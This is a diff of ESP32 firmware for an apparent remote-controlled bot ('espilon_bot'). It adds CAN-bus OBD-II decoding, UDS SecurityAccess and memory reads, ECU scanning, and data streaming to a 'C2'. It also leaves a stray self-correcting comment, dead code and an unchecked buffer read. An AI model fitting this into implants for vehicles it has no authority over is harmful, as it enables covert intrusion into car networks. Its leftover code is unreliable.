* tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics)
|
||||
*/
|
||||
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Install ISO-TP RX hook into the CAN driver callback chain.
|
||||
* Must be called after can_driver_set_rx_callback() so that the
|
||||
* previous callback (sniff/record) is preserved in the chain.
|
||||
*/
|
||||
void isotp_install_hook(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
357
espilon_bot/components/mod_canbus/canbus_obd.c
Normal file
357
espilon_bot/components/mod_canbus/canbus_obd.c
Normal file
@ -0,0 +1,357 @@
|
||||
/*
|
||||
* canbus_obd.c
|
||||
* OBD-II PID decoder with lookup table for ~40 common PIDs.
|
||||
*
|
||||
* Uses ISO-TP for communication (even single-frame OBD fits in SF,
|
||||
* but VIN and DTC responses may require multi-frame).
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD)
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "canbus_obd.h"
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAN_OBD"
|
||||
|
||||
/* ============================================================
|
||||
* PID Decoder Table
|
||||
* ============================================================ */
|
||||
|
||||
typedef float (*decode_fn_t)(const uint8_t *data, int len);
|
||||
|
||||
typedef struct {
|
||||
uint8_t pid;
|
||||
const char *name;
|
||||
const char *unit;
|
||||
int data_bytes; /* Expected response data bytes (A, AB, ABC...) */
|
||||
decode_fn_t decode;
|
||||
} pid_decoder_t;
|
||||
|
||||
/* Decode functions — all check buffer length before access */
|
||||
static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; }
|
||||
static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; }
|
||||
static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; }
|
||||
static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); }
|
||||
static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; }
|
||||
static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; }
|
||||
static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; }
|
||||
static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; }
|
||||
static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; }
|
||||
static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; }
|
||||
|
||||
static const pid_decoder_t s_pid_table[] = {
|
||||
/* PID Name Unit Bytes Decoder */
|
||||
{ 0x04, "Engine Load", "%", 1, decode_a_percent },
|
||||
{ 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
|
||||
{ 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
|
||||
{ 0x0B, "Intake MAP", "kPa", 1, decode_a },
|
||||
{ 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 },
|
||||
{ 0x0D, "Vehicle Speed", "km/h", 1, decode_a },
|
||||
{ 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 },
|
||||
{ 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 },
|
||||
{ 0x11, "Throttle Position", "%", 1, decode_a_percent },
|
||||
{ 0x1C, "OBD Standard", "", 1, decode_a },
|
||||
{ 0x1F, "Engine Runtime", "s", 2, decode_ab },
|
||||
{ 0x21, "Distance w/ MIL", "km", 2, decode_ab },
|
||||
{ 0x2C, "Commanded EGR", "%", 1, decode_a_percent },
|
||||
{ 0x2F, "Fuel Level", "%", 1, decode_a_percent },
|
||||
{ 0x30, "Warmups since DTC clear", "", 1, decode_a },
|
||||
{ 0x31, "Distance since DTC clear", "km", 2, decode_ab },
|
||||
{ 0x33, "Baro Pressure", "kPa", 1, decode_a },
|
||||
{ 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */
|
||||
{ 0x45, "Relative Throttle", "%", 1, decode_a_percent },
|
||||
{ 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x49, "Accelerator Position D", "%", 1, decode_a_percent },
|
||||
{ 0x4A, "Accelerator Position E", "%", 1, decode_a_percent },
|
||||
{ 0x4C, "Commanded Throttle", "%", 1, decode_a_percent },
|
||||
{ 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 },
|
||||
{ 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */
|
||||
{ 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */
|
||||
};
|
||||
|
||||
#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0]))
|
||||
|
||||
/* Find decoder for a PID */
|
||||
static const pid_decoder_t *find_pid(uint8_t pid)
|
||||
{
|
||||
for (int i = 0; i < (int)PID_TABLE_SIZE; i++) {
|
||||
if (s_pid_table[i].pid == pid) return &s_pid_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* OBD-II Communication (via ISO-TP)
|
||||
* ============================================================ */
|
||||
|
||||
/* Send OBD request and receive response */
|
||||
static int obd_transact(uint8_t mode, uint8_t pid,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
uint8_t req[2] = { mode, pid };
|
||||
|
||||
/* Use functional broadcast (0x7DF) for Mode 01/03/09 */
|
||||
/* Listen on first responder (0x7E8) — most vehicles respond here */
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 2,
|
||||
resp, resp_cap, resp_len,
|
||||
2000
|
||||
);
|
||||
|
||||
return (st == ISOTP_OK) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out)
|
||||
{
|
||||
if (!out) return -1;
|
||||
memset(out, 0, sizeof(*out));
|
||||
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Response: mode+0x40, PID, data bytes */
|
||||
if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
out->pid = pid;
|
||||
|
||||
/* Try to decode with known PID table */
|
||||
const pid_decoder_t *dec = find_pid(pid);
|
||||
if (dec) {
|
||||
out->name = dec->name;
|
||||
out->unit = dec->unit;
|
||||
int data_offset = 2; /* After mode+0x40 and PID */
|
||||
int data_avail = (int)resp_len - data_offset;
|
||||
if (data_avail >= dec->data_bytes) {
|
||||
out->value = dec->decode(&resp[data_offset], data_avail);
|
||||
}
|
||||
} else {
|
||||
out->name = "Unknown";
|
||||
out->unit = "";
|
||||
out->value = (resp_len > 2) ? (float)resp[2] : 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int obd_query_supported(uint8_t pids_out[], int max_pids)
|
||||
{
|
||||
int total = 0;
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
/* PID 00: supported PIDs 01-20 */
|
||||
/* PID 20: supported PIDs 21-40 */
|
||||
/* PID 40: supported PIDs 41-60 */
|
||||
/* PID 60: supported PIDs 61-80 */
|
||||
|
||||
uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 };
|
||||
|
||||
for (int r = 0; r < 4; r++) {
|
||||
if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* 4 bytes = 32 bits, each bit = supported PID */
|
||||
uint32_t bitmap = ((uint32_t)resp[2] << 24)
|
||||
| ((uint32_t)resp[3] << 16)
|
||||
| ((uint32_t)resp[4] << 8)
|
||||
| (uint32_t)resp[5];
|
||||
|
||||
for (int bit = 0; bit < 32 && total < max_pids; bit++) {
|
||||
if (bitmap & (1U << (31 - bit))) {
|
||||
pids_out[total++] = range_pids[r] + bit + 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* If last PID in range is not supported, no point checking next range */
|
||||
if (!(bitmap & 0x01)) break;
|
||||
}
|
||||
|
||||
return total;
|
||||
}
|
||||
|
||||
int obd_read_vin(char *vin_out, size_t cap)
|
||||
{
|
||||
if (!vin_out || cap < 18) return -1;
|
||||
|
||||
uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 2,
|
||||
resp, sizeof(resp), &resp_len,
|
||||
3000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK) return -1;
|
||||
|
||||
/* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */
|
||||
if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* VIN starts at offset 3 (after 0x49, 0x02, count) */
|
||||
int vin_start = 3;
|
||||
int vin_len = (int)resp_len - vin_start;
|
||||
if (vin_len > 17) vin_len = 17;
|
||||
if (vin_len > (int)cap - 1) vin_len = (int)cap - 1;
|
||||
|
||||
memcpy(vin_out, &resp[vin_start], vin_len);
|
||||
vin_out[vin_len] = '\0';
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int obd_read_dtcs(char *dtc_buf, size_t cap)
|
||||
{
|
||||
uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */
|
||||
uint8_t resp[128];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 1,
|
||||
resp, sizeof(resp), &resp_len,
|
||||
3000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) {
|
||||
snprintf(dtc_buf, cap, "No DTCs or read error");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int num_dtcs = resp[1]; /* Number of DTCs */
|
||||
if (num_dtcs == 0) {
|
||||
snprintf(dtc_buf, cap, "No DTCs stored");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int off = 0;
|
||||
off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs);
|
||||
|
||||
/* Each DTC is 2 bytes, starting at offset 2 */
|
||||
static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' };
|
||||
|
||||
for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) {
|
||||
uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1];
|
||||
|
||||
char prefix = dtc_prefixes[(raw >> 14) & 0x03];
|
||||
int code = raw & 0x3FFF;
|
||||
|
||||
off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code);
|
||||
if (off >= (int)cap - 8) break;
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Continuous Monitoring
|
||||
* ============================================================ */
|
||||
|
||||
static volatile bool s_monitor_running = false;
|
||||
static TaskHandle_t s_monitor_task = NULL;
|
||||
static uint8_t s_monitor_pids[16];
|
||||
static int s_monitor_pid_count = 0;
|
||||
static int s_monitor_interval = 1000;
|
||||
static const char *s_monitor_req_id = NULL;
|
||||
static SemaphoreHandle_t s_mon_mutex = NULL;
|
||||
|
||||
static void monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval",
|
||||
s_monitor_pid_count, s_monitor_interval);
|
||||
|
||||
while (s_monitor_running) {
|
||||
for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) {
|
||||
obd_result_t result;
|
||||
if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) {
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line), "OBD|%s|%.1f|%s",
|
||||
result.name, result.value, result.unit);
|
||||
msg_data(TAG, line, strlen(line), false, s_monitor_req_id);
|
||||
}
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(s_monitor_interval));
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "OBD monitor stopped");
|
||||
s_monitor_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
void obd_monitor_start(const uint8_t *pids, int pid_count,
|
||||
int interval_ms, const char *request_id)
|
||||
{
|
||||
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_monitor_running) {
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
obd_monitor_stop();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
}
|
||||
|
||||
if (pid_count > 16) pid_count = 16;
|
||||
memcpy(s_monitor_pids, pids, pid_count);
|
||||
s_monitor_pid_count = pid_count;
|
||||
s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000;
|
||||
s_monitor_req_id = request_id;
|
||||
s_monitor_running = true;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1
|
||||
);
|
||||
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
}
|
||||
|
||||
void obd_monitor_stop(void)
|
||||
{
|
||||
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
s_monitor_running = false;
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
|
||||
for (int i = 0; i < 20 && s_monitor_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
}
|
||||
|
||||
bool obd_monitor_is_running(void)
|
||||
{
|
||||
return s_monitor_running;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */
|
||||
48
espilon_bot/components/mod_canbus/canbus_obd.h
Normal file
48
espilon_bot/components/mod_canbus/canbus_obd.h
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* canbus_obd.h
|
||||
* OBD-II (ISO 15031) PID decoder over ISO-TP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Standard OBD-II CAN IDs */
|
||||
#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */
|
||||
#define OBD_RESPONSE_MIN 0x7E8
|
||||
#define OBD_RESPONSE_MAX 0x7EF
|
||||
|
||||
/* Decoded PID result */
|
||||
typedef struct {
|
||||
uint8_t pid;
|
||||
float value;
|
||||
const char *unit; /* "rpm", "km/h", "C", etc. */
|
||||
const char *name; /* "Engine RPM", "Vehicle Speed", etc. */
|
||||
} obd_result_t;
|
||||
|
||||
/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */
|
||||
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out);
|
||||
|
||||
/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */
|
||||
int obd_query_supported(uint8_t pids_out[], int max_pids);
|
||||
|
||||
/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */
|
||||
int obd_read_vin(char *vin_out, size_t cap);
|
||||
|
||||
/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */
|
||||
int obd_read_dtcs(char *dtc_buf, size_t cap);
|
||||
|
||||
/* Continuous monitoring: stream PIDs to C2 at interval */
|
||||
void obd_monitor_start(const uint8_t *pids, int pid_count,
|
||||
int interval_ms, const char *request_id);
|
||||
void obd_monitor_stop(void);
|
||||
bool obd_monitor_is_running(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
343
espilon_bot/components/mod_canbus/canbus_uds.c
Normal file
343
espilon_bot/components/mod_canbus/canbus_uds.c
Normal file
@ -0,0 +1,343 @@
|
||||
/*
|
||||
* canbus_uds.c
|
||||
* UDS (ISO 14229) diagnostic services implementation.
|
||||
*
|
||||
* Each function builds a UDS payload, sends via ISO-TP,
|
||||
* parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC).
|
||||
* Handles NRC 0x78 (ResponsePending) with extended timeout.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS)
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "canbus_uds.h"
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAN_UDS"
|
||||
|
||||
/* Max retries for ResponsePending (NRC 0x78) */
|
||||
#define MAX_PENDING_RETRIES 10
|
||||
#define PENDING_TIMEOUT_MS 5000
|
||||
|
||||
/* ============================================================
|
||||
* Internal: UDS request with ResponsePending handling
|
||||
* ============================================================ */
|
||||
|
||||
static int uds_transact(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000;
|
||||
|
||||
for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) {
|
||||
int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
ctx->tx_id, ctx->rx_id,
|
||||
req, req_len,
|
||||
resp, resp_cap, resp_len,
|
||||
t
|
||||
);
|
||||
|
||||
if (st == ISOTP_TIMEOUT) {
|
||||
if (retry > 0) {
|
||||
ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
if (st != ISOTP_OK) return -1;
|
||||
|
||||
/* Check for Negative Response */
|
||||
if (*resp_len >= 3 && resp[0] == 0x7F) {
|
||||
uint8_t nrc = resp[2];
|
||||
|
||||
/* ResponsePending — ECU needs more time */
|
||||
if (nrc == UDS_NRC_RESPONSE_PENDING) {
|
||||
ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)",
|
||||
(unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES);
|
||||
/* Re-listen for the real response (no re-send needed) */
|
||||
*resp_len = 0;
|
||||
isotp_status_t st2 = isotp_recv(
|
||||
ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS
|
||||
);
|
||||
if (st2 == ISOTP_TIMEOUT) continue; /* Try again */
|
||||
if (st2 != ISOTP_OK) return -1;
|
||||
|
||||
/* Check if we got another NRC 0x78 or the real response */
|
||||
if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) {
|
||||
continue; /* Still pending */
|
||||
}
|
||||
/* Got the real response, fall through to return */
|
||||
}
|
||||
|
||||
/* Other negative responses */
|
||||
if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) {
|
||||
ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX",
|
||||
resp[2], uds_nrc_name(resp[2]), resp[1],
|
||||
(unsigned long)ctx->rx_id);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Positive response or parsed NRC */
|
||||
return (int)*resp_len;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type)
|
||||
{
|
||||
uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type };
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive response: 0x50 + session type */
|
||||
if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) {
|
||||
ctx->session = session_type;
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_tester_present(uds_ctx_t *ctx)
|
||||
{
|
||||
uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) {
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
|
||||
uint8_t *out, size_t cap)
|
||||
{
|
||||
uint8_t req[3] = {
|
||||
UDS_READ_DATA_BY_ID,
|
||||
(uint8_t)(did >> 8),
|
||||
(uint8_t)(did & 0xFF),
|
||||
};
|
||||
uint8_t resp[512];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x62 + DID (2 bytes) + data */
|
||||
if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) {
|
||||
size_t data_len = resp_len - 3;
|
||||
if (data_len > cap) data_len = cap;
|
||||
memcpy(out, &resp[3], data_len);
|
||||
return (int)data_len;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
|
||||
uint8_t *seed, size_t *seed_len)
|
||||
{
|
||||
/* Seed request: odd subFunction (level = 0x01, 0x03, ...) */
|
||||
uint8_t req[2] = { UDS_SECURITY_ACCESS, level };
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x67 + level + seed bytes */
|
||||
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
|
||||
size_t slen = resp_len - 2;
|
||||
if (seed && seed_len) {
|
||||
memcpy(seed, &resp[2], slen);
|
||||
*seed_len = slen;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
|
||||
const uint8_t *key, size_t key_len)
|
||||
{
|
||||
/* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */
|
||||
uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) };
|
||||
if (key_len > 32) return -1;
|
||||
memcpy(&req[2], key, key_len);
|
||||
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
|
||||
ctx->security_unlocked = true;
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
|
||||
uint8_t *out)
|
||||
{
|
||||
/* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */
|
||||
uint8_t req[7] = {
|
||||
UDS_READ_MEM_BY_ADDR,
|
||||
0x24, /* format: 2+4 */
|
||||
(uint8_t)(addr >> 24),
|
||||
(uint8_t)(addr >> 16),
|
||||
(uint8_t)(addr >> 8),
|
||||
(uint8_t)(addr),
|
||||
(uint8_t)(size >> 8),
|
||||
};
|
||||
/* Append size low byte */
|
||||
uint8_t req_full[8];
|
||||
memcpy(req_full, req, 7);
|
||||
req_full[7] = (uint8_t)(size & 0xFF);
|
||||
|
||||
/* Wait — need proper format. Let's redo:
|
||||
* SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */
|
||||
uint8_t request[8] = {
|
||||
UDS_READ_MEM_BY_ADDR,
|
||||
0x24,
|
||||
(uint8_t)(addr >> 24),
|
||||
(uint8_t)(addr >> 16),
|
||||
(uint8_t)(addr >> 8),
|
||||
(uint8_t)(addr),
|
||||
(uint8_t)(size >> 8),
|
||||
(uint8_t)(size),
|
||||
};
|
||||
|
||||
uint8_t resp[512];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x63 + data */
|
||||
if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) {
|
||||
size_t data_len = resp_len - 1;
|
||||
if (out) memcpy(out, &resp[1], data_len);
|
||||
return (int)data_len;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_raw_request(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ECU Discovery
|
||||
* ============================================================ */
|
||||
|
||||
int uds_scan_ecus(uint32_t *found_ids, int max_ecus)
|
||||
{
|
||||
int found = 0;
|
||||
|
||||
/* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */
|
||||
for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) {
|
||||
uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */
|
||||
|
||||
uds_ctx_t ctx = {
|
||||
.tx_id = tx,
|
||||
.rx_id = rx,
|
||||
.timeout_ms = 200, /* Short timeout for scan */
|
||||
.session = UDS_SESSION_DEFAULT,
|
||||
.security_unlocked = false,
|
||||
};
|
||||
|
||||
if (uds_tester_present(&ctx) == 0) {
|
||||
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
|
||||
(unsigned long)tx, (unsigned long)rx);
|
||||
found_ids[found++] = tx;
|
||||
}
|
||||
}
|
||||
|
||||
/* Extended range: 0x700-0x7DF */
|
||||
for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) {
|
||||
/* Skip standard range (already scanned) */
|
||||
if (tx >= 0x7E0) break;
|
||||
|
||||
uint32_t rx = tx + 0x08;
|
||||
|
||||
uds_ctx_t ctx = {
|
||||
.tx_id = tx,
|
||||
.rx_id = rx,
|
||||
.timeout_ms = 100,
|
||||
.session = UDS_SESSION_DEFAULT,
|
||||
.security_unlocked = false,
|
||||
};
|
||||
|
||||
if (uds_tester_present(&ctx) == 0) {
|
||||
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
|
||||
(unsigned long)tx, (unsigned long)rx);
|
||||
found_ids[found++] = tx;
|
||||
}
|
||||
|
||||
/* Yield every 16 IDs to avoid watchdog */
|
||||
if ((tx & 0x0F) == 0x0F) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
}
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* NRC Name Lookup
|
||||
* ============================================================ */
|
||||
|
||||
const char *uds_nrc_name(uint8_t nrc)
|
||||
{
|
||||
switch (nrc) {
|
||||
case 0x10: return "generalReject";
|
||||
case 0x11: return "serviceNotSupported";
|
||||
case 0x12: return "subFunctionNotSupported";
|
||||
case 0x13: return "incorrectMessageLength";
|
||||
case 0x14: return "responseTooLong";
|
||||
case 0x21: return "busyRepeatRequest";
|
||||
case 0x22: return "conditionsNotCorrect";
|
||||
case 0x24: return "requestSequenceError";
|
||||
case 0x25: return "noResponseFromSubnet";
|
||||
case 0x26: return "failurePreventsExecution";
|
||||
case 0x31: return "requestOutOfRange";
|
||||
case 0x33: return "securityAccessDenied";
|
||||
